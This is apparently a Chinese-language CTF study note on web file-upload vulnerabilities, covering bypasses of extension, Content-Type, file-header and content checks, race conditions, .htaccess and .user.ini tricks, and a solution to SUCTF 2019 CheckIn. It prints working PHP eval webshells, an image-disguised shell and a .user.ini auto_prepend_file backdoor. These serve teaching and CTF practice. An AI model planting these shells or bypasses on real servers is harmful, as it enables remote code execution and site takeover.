文件上传漏洞
文件上传漏洞
大部分是需要回显储存路径才能打后续操作的,如果没有回显路径要不再想想。?(雾)
前端检测
前端检测上传文件的后缀,js检测直接禁用js
后端检测
检测content-type
检测你发包的Content-Type参数来判断文件上传类型
一般你改一下content-type就可以绕过了
检测文件头判断文件类型
字义,使用getimagesize()函数来获取文件的MIME类型,此时检测的不是数据包中的content-type,而是文件头
这种时候伪造一下就可以
gif(GIF89a) : 47 49 46 38 39 61
jpg、jpeg : FF D8 FF
png : 89 50 4E 47 0D 0A
用winhex、010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测,或者你直接在包的头写个GIF89a也是可以过的
后端检测文件拓展名
用拓展名的黑名单来检测文件拓展名从而防止危险文件的上传
绕过:
1)使用一些特殊扩展名来绕过,php
可以用php3、php4、php5代替
2)大小写混淆绕过
3)在文件名后加.
(空格,点,空格),利用windows特性绕过
4)在文件名后加::$data
绕过(NTFS流读入)
5)有替换的话可以双写绕过
当然也可以是白名单只让特定的文件上传
绕过:
存储路径可以使用%00在最后进行截断,(注意:GET型可以对%00自动解码,但POST型不能,需要在二进制中修改//打开你的010喵,用空格占个位来输00)
后端检测文件内容
文件内容替换
检测原理:
在后端处理上传的文件时,会将将文件中的敏感字符替换掉。
参考代码
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$content = str_replace('?', '!', $content);
$file = $path . '/' . $_FILES['myfile']['name'];
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
file_put_contents($file, $content);
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
绕过方法:
根据实际过滤的字符来判断,(一般不会限制所有敏感字符,因为还要兼顾图片上传)
图片二次渲染
检测原理:
后端调用了php
的GD库,提取了文件中的图片数据,然后再重新渲染,这样图片中插入的恶意代码就会被过滤掉了
绕过方法:
比较过滤前后文件内容,一般不会全部过滤。
比较使用php-gd
转换之前和之后的gif图像,并搜索它们之间的任何相似性,因此,如果我在原始文件中找到相似的部分,则在使用php-gd
转换后也保留了该部分然后我可以在那部分注入我的PHP代码并获得RCE
5.条件竞争
该漏洞形成逻辑:
网站允许上传文件,然后检查上传文件是否包含webshell
、是否是指定的文件类型。如果不是,那么删除该文件。在删除之前访问上传的php
文件,从而执行上传文件中的php
代码。
绕过方法:
先进行文件上传,后进行判断与删除。利用时间差进行webshell
上传。
竞争条件代码举例:
fputs(fopen('shell.php','w'),'<?php @eval($\_POST\["cmd"\])?>');
判断是否删除
import requests
while true:
requests.get(”路径“)
WAF
当文件完全被ban,只用以图片类型上传的时候,我们该怎么办呢
上传.htaccess文件绕过
.htaccess
文件是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess
主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess
的用途范围主要针对当前目录
类似内容
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
这些都会把上传的文件强制解析为php
上传.user.ini文件绕过
.user.ini
。它比.htaccess
用的更广,不管是nginx/apache/IIS
,只要是以fastcgi运行的php
都可以用这个方法。
那么什么是.user.ini
?这得从php.ini
说起了。php.ini
是php
默认的配置文件,其中包括了很多php
的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:
除了主 php.ini
之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR
和 PHP_INI_USER
模式的 INI 设置可被识别。
所以除了PHP_INI_SYSTEM
以外的模式(包括PHP_INI_ALL
)都是可以通过.user.ini
来设置的。我们可以很容易地借助.user.ini
文件,更改auto_prepend_file
配置项,来构造一个“后门”。
比如,某网站限制不允许上传.php
文件,你便可以上传一个.user.ini
,再上传一个图片马,包含起来进行getshell
。不过前提是含有.user.ini
的文件夹下需要有正常的php
文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。
实例([SUCTF 2019]CheckIn1):
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htaccess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
绕过技巧:
1.针对过滤包含ph
与htaccess
扩展名的文件:上传.user.ini
与图片马,利用.user.ini
进行文件包含2.针对过滤文件内容包含<?
的文件:使用php
的脚本标记风格<script language='php'>
3.针对使用exif_imagetype
规定了必须为图片类型的文件:添加文件头内容或合成图片马(稍后会讲)
首先上传.user.ini
文件,文件内容为:
GIF89a
auto_prepend_file=shell.png
然后构造一个shell.png
,内容如下:
GIF89a
<script language='php'> @eval($_POST['hack']); </script>
然后将两个文件分别上传到服务器上,拿到回显